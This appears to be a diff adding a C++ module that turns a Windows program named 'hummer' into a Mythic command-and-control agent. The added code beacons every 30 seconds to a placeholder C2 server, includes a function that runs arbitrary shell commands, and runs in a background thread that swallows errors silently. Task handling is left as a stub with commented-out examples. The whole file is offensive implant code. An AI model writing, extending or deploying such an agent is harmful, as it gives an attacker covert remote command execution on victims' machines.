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hummer/mythic_integration.cpp

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+#include "windefend_h.h"
+#include <windows.h>
+#include <wininet.h>
+#include <string>
+#include <vector>
+#include <thread>
+#include <atomic>
+
+// Mythic C2 configuration
+#define MYTHIC_C2_SERVER "http://your-mythic-server.com:7443"
+#define MYTHIC_API_KEY "your-api-key-here"
+#define CHECKIN_INTERVAL 30000 // 30 seconds
+
+std::atomic<bool> mythic_running(false);
+
+// Mythic task structure
+typedef struct MythicTask {
+    std::string task_id;
+    std::string command;
+    std::string parameters;
+} MythicTask;
+
+// Checkin with Mythic C2
+std::string mythic_checkin() {
+    HINTERNET hInternet = InternetOpen(L"MythicAgent/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
+    if (!hInternet) return "";
+    
+    HINTERNET hConnect = InternetOpenUrl(hInternet, 
+        L"http://your-mythic-server.com:7443/api/v1.4/agent_message", 
+        NULL, 0, INTERNET_FLAG_RELOAD, 0);
+    
+    if (!hConnect) {
+        InternetCloseHandle(hInternet);
+        return "";
+    }
+    
+    char buffer[4096];
+    DWORD bytesRead;
+    std::string response;
+    
+    while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
+        response.append(buffer, bytesRead);
+    }
+    
+    InternetCloseHandle(hConnect);
+    InternetCloseHandle(hInternet);
+    
+    return response;
+}
+
+// Execute system command
+std::string execute_command(const std::string& command) {
+    char buffer[128];
+    std::string result = "";
+    
+    FILE* pipe = _popen(command.c_str(), "r");
+    if (!pipe) return "Error: Could not execute command";
+    
+    while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
+        result += buffer;
+    }
+    
+    _pclose(pipe);
+    return result;
+}
+
+// Mythic agent thread
+DWORD WINAPI mythic_agent_thread(LPVOID lpParam) {
+    mythic_running = true;
+    
+    while (mythic_running) {
+        try {
+            std::string response = mythic_checkin();
+            
+            if (!response.empty()) {
+                // Process Mythic tasks here
+                // This would parse JSON response and execute commands
+                
+                // Example: execute system command
+                // std::string output = execute_command("whoami");
+                // Send output back to Mythic
+            }
+        }
+        catch (...) {
+            // Handle errors silently
+        }
+        
+        Sleep(CHECKIN_INTERVAL);
+    }
+    
+    return 0;
+}
+
+// Initialize Mythic C2 integration
+bool initialize_mythic() {
+    HANDLE hThread = CreateThread(NULL, 0, mythic_agent_thread, NULL, 0, NULL);
+    if (hThread) {
+        CloseHandle(hThread);
+        return true;
+    }
+    return false;
+}
+
+// Cleanup Mythic integration
+void cleanup_mythic() {
+    mythic_running = false;
+}